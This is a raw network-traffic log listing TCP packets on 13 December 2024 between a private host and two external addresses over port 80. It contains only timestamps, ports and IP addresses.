Dec 13, 2024 08:20:08.640994072 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.641047955 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.641896009 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.641942024 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.642039061 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.642083883 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.642889023 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.642929077 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.643009901 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.643045902 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.643842936 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.643887997 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.643954039 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.643996000 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.644819975 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.644870043 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.644948006 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.644994974 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.645776987 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.645819902 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.645855904 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.645895004 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.646766901 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.646814108 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.646881104 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.646930933 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.647790909 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.647836924 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.647891045 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.647933006 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.648729086 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.648777962 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.648874998 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.648917913 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.649744034 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.649796009 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.649827957 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.649868965 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.650719881 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.650763988 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.650892973 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.650934935 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.651765108 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.651808977 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.651839018 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.651882887 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.652714968 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.652779102 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.652812958 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.652862072 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.653623104 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.653676987 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.653712034 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.653753042 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.654597044 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.654643059 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.654678106 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.654716015 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.655610085 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.655653954 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.655705929 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.655751944 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.656584978 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.656630039 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.656699896 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.656742096 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.657552004 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.657608032 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.657668114 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.657712936 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.658529043 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.658574104 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.658711910 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.658756971 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.659517050 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.659554958 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.660106897 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.660156965 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.660553932 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.660598993 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.660685062 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.660732031 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.661487103 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.661540985 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.661642075 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.661690950 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.662488937 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.662539005 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.662570953 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.662611008 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.663485050 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.663530111 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.663582087 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.663633108 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.664536953 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.664580107 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.664618969 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.664665937 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.665430069 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.665502071 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.665587902 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.666414976 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.666459084 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.666490078 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.666527033 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.667352915 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.667399883 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.674081087 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.674134970 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.674150944 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.674186945 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.674309969 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.674351931 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.674359083 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.674396992 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.675265074 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.675322056 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.675400972 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.675441027 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.676234961 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.676284075 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.676358938 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.676400900 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.677241087 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.677288055 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.677375078 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.677417040 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.678234100 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.678273916 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.678337097 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.678380966 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.679167032 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.679215908 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.679276943 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.679330111 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.680088997 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.680135012 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.820923090 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.820951939 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.821008921 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.821039915 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.821228027 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.821273088 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.821338892 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.821379900 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.822217941 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.822268963 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.822360039 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.822396040 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.823168993 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.823219061 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.823270082 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.823311090 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.824238062 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.824286938 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.824347019 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.824397087 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.825164080 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.825223923 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.825272083 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.825319052 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.826124907 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.826174021 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.826214075 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.826257944 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.827101946 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.827152014 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.827210903 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.827405930 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.828100920 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.828128099 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.828147888 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.828174114 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.828939915 CET	49937	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:08.829057932 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.829097986 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.829147100 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.829190016 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.829294920 CET	49946	80	192.168.2.11	185.81.68.148
Dec 13, 2024 08:20:08.830087900 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.830106020 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.830138922 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.830152988 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.831083059 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.831110954 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.831124067 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.831150055 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.832043886 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.832084894 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.832109928 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.832149029 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.833003998 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.833045959 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.833117008 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.833161116 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.834031105 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.834088087 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.834115028 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.834161043 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.834979057 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.835079908 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.835104942 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.835149050 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.835952997 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.835999966 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.836061001 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.836102009 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.836987972 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.837032080 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.837079048 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.837121010 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.837934971 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.837985992 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.838048935 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.838093042 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.838979959 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.839040041 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.839076042 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.839116096 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.839873075 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.839915037 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.839941978 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.839982033 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.840854883 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.840908051 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.840931892 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.840965033 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.843236923 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.843269110 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.843281031 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.843288898 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.843302965 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.843332052 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.843373060 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.843413115 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.844351053 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.844404936 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.844448090 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.844492912 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.844995022 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.845043898 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.845251083 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.845293045 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.845767975 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.845813036 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.845880985 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.845922947 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.846704960 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.846755981 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.846813917 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.846858025 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.847714901 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.847765923 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.847796917 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.847837925 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.848679066 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.848732948 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.848798037 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.848839998 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.849663973 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.849733114 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.849785089 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.849829912 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.850687027 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.850729942 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.850799084 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.850838900 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.851629972 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.851677895 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.851713896 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.851758003 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.852591038 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.852648973 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.852720976 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.852761030 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.853569031 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.853617907 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.853652954 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.853837967 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.854568005 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.854623079 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.854655027 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.854691982 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.855588913 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.855614901 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.855638981 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.855659008 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.856543064 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.856594086 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.856627941 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.856669903 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.857531071 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.857573032 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.857620955 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.857678890 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.858483076 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.858540058 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.858588934 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.858634949 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.859549046 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.859601021 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.859618902 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.859754086 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.860500097 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.860549927 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.860563993 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.860604048 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.861459970 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.861529112 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.861562967 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.861624956 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.862411022 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.862456083 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.862495899 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.862593889 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.862988949 CET	49939	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.863337994 CET	49947	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.863392115 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.863439083 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.863523006 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.863569021 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.864356041 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.864440918 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.864483118 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.864572048 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.865344048 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.865392923 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.881282091 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.881330013 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.881376028 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.881406069 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.881557941 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.881602049 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.881675005 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.881716013 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.882574081 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.882630110 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.882674932 CET	80	49938	185.81.68.147	192.168.2.11
Dec 13, 2024 08:20:08.882718086 CET	49938	80	192.168.2.11	185.81.68.147
Dec 13, 2024 08:20:08.883557081 CET	80	49938	185.81.68.147	192.168.2.11
